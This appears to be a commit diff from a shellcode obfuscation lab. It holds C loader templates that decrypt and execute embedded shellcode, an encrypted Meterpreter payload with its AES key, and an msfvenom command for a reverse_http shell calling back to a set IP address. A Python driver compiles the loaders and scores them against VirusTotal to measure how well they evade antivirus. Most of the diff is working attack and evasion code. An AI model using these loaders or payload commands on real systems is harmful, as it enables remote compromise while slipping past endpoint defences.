mirror of
https://github.com/dobin/ShellcodeObfuscationLab
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code update
This commit is contained in:
Dobin Rutishauser
@@ -41,16 +41,7 @@ int main(void)
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{{SHELLCODE}}
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// msfvenom -p windows/x64/meterpreter/reverse_http LHOST=192.168.190.134 LPORT=80 -f raw -o met.bin
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// python3 aes.py met.bin
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/*
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char shellcode[] = { 0xee, 0xd5, 0x86, 0x39, 0xa3, 0x5c, 0x1c, 0x99, 0x9b, 0x26, 0xd0, 0xe8, 0x66, 0x2e, 0xe1, 0xc5, 0x3, 0x8e, 0x2c, 0xea, 0x3a, 0x36, 0x99, 0x5a, 0xcc, 0x37, 0xc1, 0xbb, 0x67, 0xcc, 0xb3, 0xed, 0x9d, 0x96, 0x8, 0x84, 0x83, 0xa9, 0xdb, 0x3a, 0x39, 0xe, 0x4e, 0xe0, 0x42, 0x5d, 0x1a, 0x69, 0x3d, 0x4f, 0xa7, 0x67, 0x35, 0xec, 0xaf, 0x11, 0xc, 0x75, 0xc, 0xe2, 0xe6, 0x70, 0x10, 0x28, 0xaa, 0xd1, 0x5c, 0xb6, 0x52, 0xe4, 0xa7, 0xeb, 0xc1, 0xfc, 0x32, 0xe7, 0x69, 0xfd, 0x5e, 0xa6, 0xe6, 0xc6, 0x14, 0x7f, 0x57, 0x42, 0x7f, 0x55, 0x13, 0x63, 0x27, 0x79, 0x43, 0x8f, 0x60, 0x70, 0x3c, 0x9a, 0xe8, 0xd9, 0xfa, 0xd6, 0xf6, 0xea, 0xfc, 0xa6, 0x86, 0x70, 0xd, 0xc8, 0x60, 0x49, 0x13, 0x69, 0xf1, 0xcc, 0x7f, 0x3, 0xbd, 0x42, 0x79, 0x43, 0xa7, 0x73, 0x6d, 0xda, 0x8c, 0xdc, 0x11, 0xd9, 0x3e, 0x90, 0xa2, 0xd7, 0xc9, 0x9d, 0x19, 0x35, 0xc8, 0xc3, 0x58, 0xed, 0x81, 0x64, 0xf7, 0xa6, 0x2d, 0xe0, 0x12, 0x1e, 0xd2, 0x11, 0xc5, 0x9d, 0x71, 0xfb, 0xf0, 0xb2, 0x38, 0x24, 0xa0, 0xd9, 0xcc, 0x59, 0xf6, 0xd5, 0xca, 0x29, 0x45, 0x74, 0xf, 0x5a, 0x99, 0x1e, 0x2, 0x25, 0xf8, 0x3e, 0x96, 0x88, 0x3c, 0x8, 0xf9, 0x81, 0xd9, 0x27, 0x51, 0xa0, 0xf6, 0xec, 0x68, 0x2e, 0xb3, 0x4a, 0xdc, 0xc0, 0x28, 0x8c, 0x70, 0x97, 0x8d, 0xdc, 0xa7, 0x7e, 0x7c, 0x6e, 0xa5, 0x93, 0x51, 0x8, 0xd7, 0xf7, 0x6e, 0xcf, 0xae, 0xa7, 0x7f, 0x5d, 0xce, 0x1, 0xd0, 0xe9, 0x29, 0xdc, 0xc3, 0xf4, 0xfb, 0xf5, 0x30, 0x98, 0x76, 0x57, 0x6e, 0x19, 0x9, 0xc1, 0xdc, 0x57, 0xf2, 0x33, 0x3f, 0x68, 0x5a, 0xd2, 0xbb, 0x5a, 0x40, 0x77, 0x5f, 0x30, 0xf0, 0x7f, 0x24, 0x6f, 0xf7, 0xe3, 0x27, 0x39, 0x3a, 0x82, 0x51, 0xfc, 0x4f, 0x53, 0x87, 0x66, 0xe5, 0xcc, 0xce, 0x51, 0x3e, 0xce, 0x1c, 0xec, 0x12, 0x17, 0x7b, 0x10, 0x3a, 0xdb, 0x70, 0xbd, 0xfe, 0xfb, 0x8e, 0x2a, 0x97, 0x5, 0x44, 0x35, 0x35, 0x1, 0xe2, 0x4a, 0xae, 0xa6, 0xea, 0x51, 0x66, 0x61, 0xfc, 0x74, 0x25, 0x6, 0xb5, 0xb4, 0xc1, 0x89, 0x31, 0xd5, 0x13, 0x95, 0x87, 0x4, 0xe, 0xa5, 0x7b, 0x7c, 0x0, 0x29, 0x5c, 0xcd, 0xfc, 0xea, 0x1b, 0xc6, 0xe1, 0x9d, 0x73, 0xc4, 0x84, 0x15, 0xe6, 0x70, 0x2c, 0x3b, 0x8a, 0xfe, 0x60, 0xd1, 0x10, 0xa5, 0x24, 0x6e, 0xce, 0xc1, 0x3d, 0x81, 0xae, 0xa3, 0xf4, 0x40, 0xa9, 0x2c, 0xd7, 0x6, 0xa4, 0xff, 0x4d, 0x9b, 0xc0, 0x13, 0xb3, 0x17, 0x80, 0x44, 0x23, 0x13, 0xc4, 0xa0, 0x88, 0xfc, 0xbb, 0x9e, 0x67, 0xdb, 0x80, 0x4e, 0x9d, 0xd6, 0x1c, 0x57, 0x9f, 0xdc, 0x4e, 0x26, 0xe4, 0xc8, 0x8c, 0xa9, 0x94, 0xa0, 0xf0, 0x5c, 0xd2, 0xdd, 0x43, 0x85, 0xa, 0xbe, 0x1f, 0x2b, 0xc4, 0xa9, 0x8d, 0x49, 0xfa, 0x71, 0xd, 0x4e, 0x3, 0x17, 0x2b, 0x8, 0x66, 0x6a, 0x36, 0xc2, 0xa4, 0xa4, 0x14, 0xb0, 0x7c, 0xc3, 0x23, 0xa8, 0x4d, 0x52, 0x8b, 0x57, 0x2b, 0x52, 0xa2, 0xed, 0x69, 0x1a, 0x40, 0x90, 0x96, 0x39, 0x1d, 0xde, 0x5e, 0x6e, 0x25, 0x70, 0xa2, 0xeb, 0xb3, 0x7e, 0x5, 0x69, 0x96, 0x94, 0xd7, 0x9b, 0xef, 0xb2, 0xed, 0x3, 0x76, 0xf1, 0xf0, 0x42, 0xb0, 0x8e, 0x41, 0xd2, 0x56, 0x74, 0x40, 0xca, 0xd9, 0x72, 0xef, 0x73, 0xfe, 0xf0, 0xd, 0x48, 0x6c, 0xfb, 0xa2, 0x57, 0xa9, 0xf4, 0x63, 0x43, 0x18, 0x68, 0xd4, 0x59, 0xc6, 0x22, 0xec, 0xa1, 0x62, 0x59, 0x15, 0xfc, 0xf8, 0x3b, 0xb5, 0x38, 0xa3, 0x43, 0x7c, 0xd9, 0xf, 0xa, 0xaf, 0xb1, 0x6d, 0x3f, 0xd5, 0xbe, 0x47, 0x88, 0xb2, 0x1c, 0x4f, 0x13, 0x9e, 0xea, 0xd4, 0x64, 0xe8, 0x57, 0xa0, 0x4, 0x22, 0xbf, 0xf7, 0x97, 0x22, 0x42, 0xb2, 0xd, 0xb9, 0x38, 0xb9, 0x34, 0xa9, 0x1a, 0x43, 0x11, 0x34, 0x91, 0xf3, 0x9c, 0x63, 0x6, 0x5e, 0xf0, 0x80, 0x5c, 0x15, 0x6, 0x70, 0x40, 0x24, 0x7e, 0x6e, 0x92, 0x2a, 0xfd, 0x51, 0xd1, 0x1, 0x18, 0x7a, 0xfb, 0x63, 0x5b, 0x64, 0xd4, 0x99, 0xf8, 0xbc, 0x8d, 0x36, 0x32, 0x31, 0xaf, 0x6a, 0xe3, 0x8f, 0xd8, 0x3e, 0x85, 0x64, 0x64, 0xc, 0x2e, 0x29, 0x67, 0xbb, 0xe3, 0xa9, 0x1e, 0x41, 0x30, 0xd8, 0x29, 0x86, 0x88, 0x98, 0x49 };
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// Decrypt our payload
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char AESkey[] = { 0x28, 0xa6, 0x8d, 0x1f, 0xaf, 0xe5, 0x1a, 0xd4, 0x4f, 0x8d, 0x41, 0x55, 0xd3, 0xb4, 0xda, 0xfa };
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*/
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AESDecrypt((char *) shellcode, sizeof(shellcode), AESkey, sizeof(AESkey));
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int idx = 0;
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while ( idx < sizeof(shellcode))
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@@ -7,10 +7,10 @@
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int main(void) {
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{{ANTI_EMULATION}}
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char shellcode[562] = { 0 };
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{{SHELLCODE}}
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char shellcode[sizeof(reversed_payload)] = { 0 };
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// reverse our array of ints
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for (int i = 0; i < sizeof(reversed_payload); i++)
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{
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@@ -14,12 +14,12 @@ int main(void) {
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printf("Reversed hex string: %s\n", hex_string);
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// declare a new shellcode byte array
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char shellcode[598];
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char shellcode[sizeof(reversed_hex_string)] = { 0 };
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// define an index to keep track of where we're at
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int idx = 0;
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int count = 0;
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const int MAX_TOKENS = 598;
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const int MAX_TOKENS = sizeof(reversed_hex_string);
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char* next_token = NULL;
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char* token = strtok_s(hex_string, ",", &next_token);
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while (token != NULL && count < MAX_TOKENS) {
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@@ -10,7 +10,7 @@ int main(void)
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{{SHELLCODE}}
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char shellcode[598] = {0};
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char shellcode[sizeof(reversed_payload)] = {0};
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unsigned int len = sizeof(reversed_payload);
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int xorkey = 23;
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@@ -2,6 +2,7 @@ import subprocess
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import os
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import sys
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from vt import scan_files
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from chromatophore.aes import aes
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from chromatophore.bin2mac import bin2mac
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@@ -54,90 +55,65 @@ function_map = {
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"xor_multibyte": xor_multibyte.xor_multibyte,
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}
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# no obfuscation
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# // compile: cl.exe /nologo /Ox /MT /W0 /GS- /DNDEBUG /Tcnoobfuscation.c /link /out:noobfuscation.exe /SUBSYSTEM:CONSOLE /MACHINE:x64
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# aes/
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# // python3 aes.py met.bin
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# // compile: cl.exe /nologo /Tcaes.c /link /out:aes.exe /SUBSYSTEM:CONSOLE /MACHINE:x64
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# Requires either the pycryptodome or pycryptodomex package (`python3 -m pip install pycryptodomex`)
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def compile_all():
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clean_files()
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# bin2ip
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# cl.exe /nologo /MT /W0 /GS- /DNDEBUG /Tcbin2ipv4.c /link /OUT:bin2ipv4.exe /SUBSYSTEM:CONSOLE /MACHINE:x64
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# bin2ip.py -i met.bin
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# IPv4s = []
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for module in function_map.keys():
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print("Templating")
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print("Module: " + module)
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shellcode_file = "beacon.bin"
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mod_data = function_map[module](shellcode_file)
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template_input = "chromatophore\\{}\\{}.c".format(module, module)
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template_output = "chromatophore\\{}\\{}_work.c".format(module, module)
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convert_module(template_input, template_output, mod_data)
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compile_module(module)
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def test_module():
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module = "reverse_byte_order"
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# bin2mac
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# // cl.exe /nologo /MT /W0 /GS- /DNDEBUG /Tcbin2mac.c /link /OUT:bin2mac.exe /SUBSYSTEM:CONSOLE /MACHINE:x64
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# python3 bin2mac.py -i met.bin
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# jargon
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# cl.exe /nologo /MT /W0 /GS- /DNDEBUG /Tcjargon.c /link /out:jargon.exe /SUBSYSTEM:CONSOLE /MACHINE:x64
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# jargon.py
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# jigsaw
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# cl.exe /nologo /MT /W0 /GS- /DNDEBUG /Tcjigsaw.c /link /out:jigsaw.exe /SUBSYSTEM:CONSOLE /MACHINE:x64
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# python3 jigsaw.py met.bin
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# offset
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# cl.exe /nologo /MT /W0 /GS- /DNDEBUG /Tcoffset.c /link /out:offset.exe /SUBSYSTEM:CONSOLE /MACHINE:x64
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# python3 offset.py -i met.bin
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# reverse_byte_order
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# compile: cl.exe /nologo /Tcreverse_byte_order.c /link /OUT:reverse_byte_order.exe /SUBSYSTEM:CONSOLE /MACHINE:x64
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# // python3 reverse_byte_order.py
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# uuid
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# python3 bin2uuid.py -i met.bin
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# // cl.exe /nologo /MT /W0 /GS- /DNDEBUG /Tcuuid.c /link /out:uuid.exe /SUBSYSTEM:CONSOLE /MACHINE:x64
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# xor_single
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# // cl.exe /nologo /MT /Tcxor.c /link /out:xor.exe /SUBSYSTEM:CONSOLE /MACHINE:x64
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# python3 xor.py
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# xor_multibyte
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# // cl.exe /nologo /Tcxor-multibyte-key.c /link /out:xor-multibyte-key.exe /SUBSYSTEM:CONSOLE /MACHINE:x64
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# // python3 xor.py
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def do():
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# beacon.bin?
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#
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# optional: create meterpreter shellcode
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# - out: output/shellcode.bin
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#
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# execute bin2mac/bin2mac.py with shellcode.bin
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# - out: shellcode_encoded
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#
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# open bin2mac.c as template
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# - //SHELLCODE_ENCODED// to shellcode_encoded
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# - optional: add anti-emulation
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# - out: output/bin2mac.c
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#
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# compile output/bin2mac.c
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# - out: output/bin2mac.exe
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#
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# send to virustotal
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# - in: output/bin2mac.exe
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# - out: output/bin2mac.exe.json
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module = "noobfuscation"
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print("Templating")
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shellcode_file = "beacon.bin"
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mod_data = function_map[module](shellcode_file)
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print("Mod data: " + mod_data)
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template_input = "chromatophore\\{}\\{}.c".format(module, module)
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template_output = "chromatophore\\{}\\{}_work.c".format(module, module)
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convert_module(template_input, template_output, mod_data)
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compile_module(module)
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#execute_module(module)
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convert_template(template_input, template_output, mod_data)
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compile_and_execute(module)
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def clean_files():
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print("Cleaning files: ./chromatophore*_work.c, ./*.obj, output/*.exe")
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# delete all files in output directory recursively with file extension .exe
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output_dir = "chromatophore"
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for root, dirs, files in os.walk(output_dir):
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for file in files:
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if file.endswith("_work.c"):
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os.remove(os.path.join(root, file))
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#print("Deleted: " + os.path.join(root, file))
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# delete all files in this directory with file extension .obj
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for file in os.listdir("."):
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if file.endswith(".obj"):
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os.remove(file)
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#print("Deleted: " + file)
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def convert_template(template_input, template_output, mod_data, anti_emulation_data=""):
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# delete all files in output directory with file extension .exe
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output_dir = "output"
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for root, dirs, files in os.walk(output_dir):
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for file in files:
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if file.endswith(".exe"):
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os.remove(os.path.join(root, file))
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#print("Deleted: " + os.path.join(root, file))
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def convert_module(template_input, template_output, mod_data, anti_emulation_data=""):
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print("Convert template: {} -> {}".format(template_input, template_output))
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with open(template_input) as template_file:
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template = template_file.read()
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@@ -148,11 +124,10 @@ def convert_template(template_input, template_output, mod_data, anti_emulation_d
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output_file.write(template)
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def compile_and_execute(module):
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def compile_module(module):
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module_c = "chromatophore\\{}\\{}_work.c".format(module, module)
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module_exe = "output\\{}.exe".format(module)
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print("Executing module: " + module)
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cmd = "cl.exe /nologo /MT /W0 /GS- /DNDEBUG /Tc{} /link /OUT:{} /SUBSYSTEM:CONSOLE /MACHINE:x64".format(
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module_c, module_exe
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)
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@@ -163,13 +138,25 @@ def compile_and_execute(module):
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print("Error executing command: " + cmd)
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sys.exit(1)
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def execute_module(module):
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module_exe = "output\\{}.exe".format(module)
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print("Executing module: " + module)
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result = subprocess.run(module_exe, shell=True)
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def main():
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do()
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if sys.argv[1] == "clean":
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clean_files()
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elif sys.argv[1] == "compile":
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compile_all()
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elif sys.argv[1] == "vt":
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scan_files()
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elif sys.argv[1] == "test":
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test_module()
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else:
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print("Invalid argument. Use 'clean', 'compile', or 'vt'.")
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if __name__ == "__main__":
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main()
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@@ -1,15 +1,47 @@
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import requests
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import time
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import os
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import json
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API_KEY = ''
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VT_API_KEY = os.getenv('VT_API_KEY')
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url = 'https://www.virustotal.com/api/v3/files'
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headers = {
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'x-apikey': API_KEY
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'x-apikey': VT_API_KEY
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}
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def scan_files():
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print("Scanning files in the output directory...")
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res = []
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for file in os.listdir('output'):
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file_path = os.path.join('output', file)
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if os.path.isfile(file_path) and file_path.endswith('.exe'):
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print(f"Scanning {file_path}...")
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analysis_id = send_file_to_virustotal(file_path)
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result = get_analysis_result(analysis_id)
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# convert result to JSON
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result_json = json.dumps(result, indent=2)
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# write result to file
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with open(f"{file_path}.json", 'w') as json_file:
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json_file.write(result_json)
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stats = result['data']['attributes']['stats']
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malicious = stats['malicious']
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s = "{}: {}".format(file, malicious)
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print(" Result: " + s)
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res.append(s)
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# write res to file
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print("Writing all results to output/scan_results.txt")
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with open('output/scan_results.txt', 'w') as f:
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for item in res:
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f.write("%s\n" % item)
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# returns: analysis_id
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def send_file_to_virustotal(file_path) -> str:
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with open(file_path, 'rb') as f:
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@@ -19,9 +51,11 @@ def send_file_to_virustotal(file_path) -> str:
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if response.status_code == 200:
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result = response.json()
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analysis_id = result['data']['id']
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print(f"Submitted. Analysis ID: {analysis_id}")
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#print(f"Submitted. Analysis ID: {analysis_id}")
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return analysis_id
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else:
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print(f"Failed to submit: {response.status_code} - {response.text}")
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return None
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|
||||
@@ -34,18 +68,23 @@ def get_analysis_result(analysis_id: str):
|
||||
status = json_response['data']['attributes']['status']
|
||||
if status == 'completed':
|
||||
stats = json_response['data']['attributes']['stats']
|
||||
print("Analysis complete!")
|
||||
print("Malicious:", stats['malicious'])
|
||||
print("Suspicious:", stats['suspicious'])
|
||||
print("Undetected:", stats['undetected'])
|
||||
print("Harmless:", stats['harmless'])
|
||||
#print("Analysis complete!")
|
||||
#print("Malicious:", stats['malicious'])
|
||||
#print("Suspicious:", stats['suspicious'])
|
||||
#print("Undetected:", stats['undetected'])
|
||||
#print("Harmless:", stats['harmless'])
|
||||
return json_response
|
||||
break
|
||||
else:
|
||||
print("Analysis in progress...")
|
||||
time.sleep(5)
|
||||
#print("Analysis in progress...")
|
||||
time.sleep(3)
|
||||
else:
|
||||
print("Error retrieving analysis.")
|
||||
break
|
||||
print(f"Status code: {response.status_code}")
|
||||
print(f"Response: {response.text}")
|
||||
|
||||
return None
|
||||
|
||||
|
||||
# Use analysis_id from upload step
|
||||
#get_analysis_result(analysis_id)
|
||||
Reference in New Issue
Block a user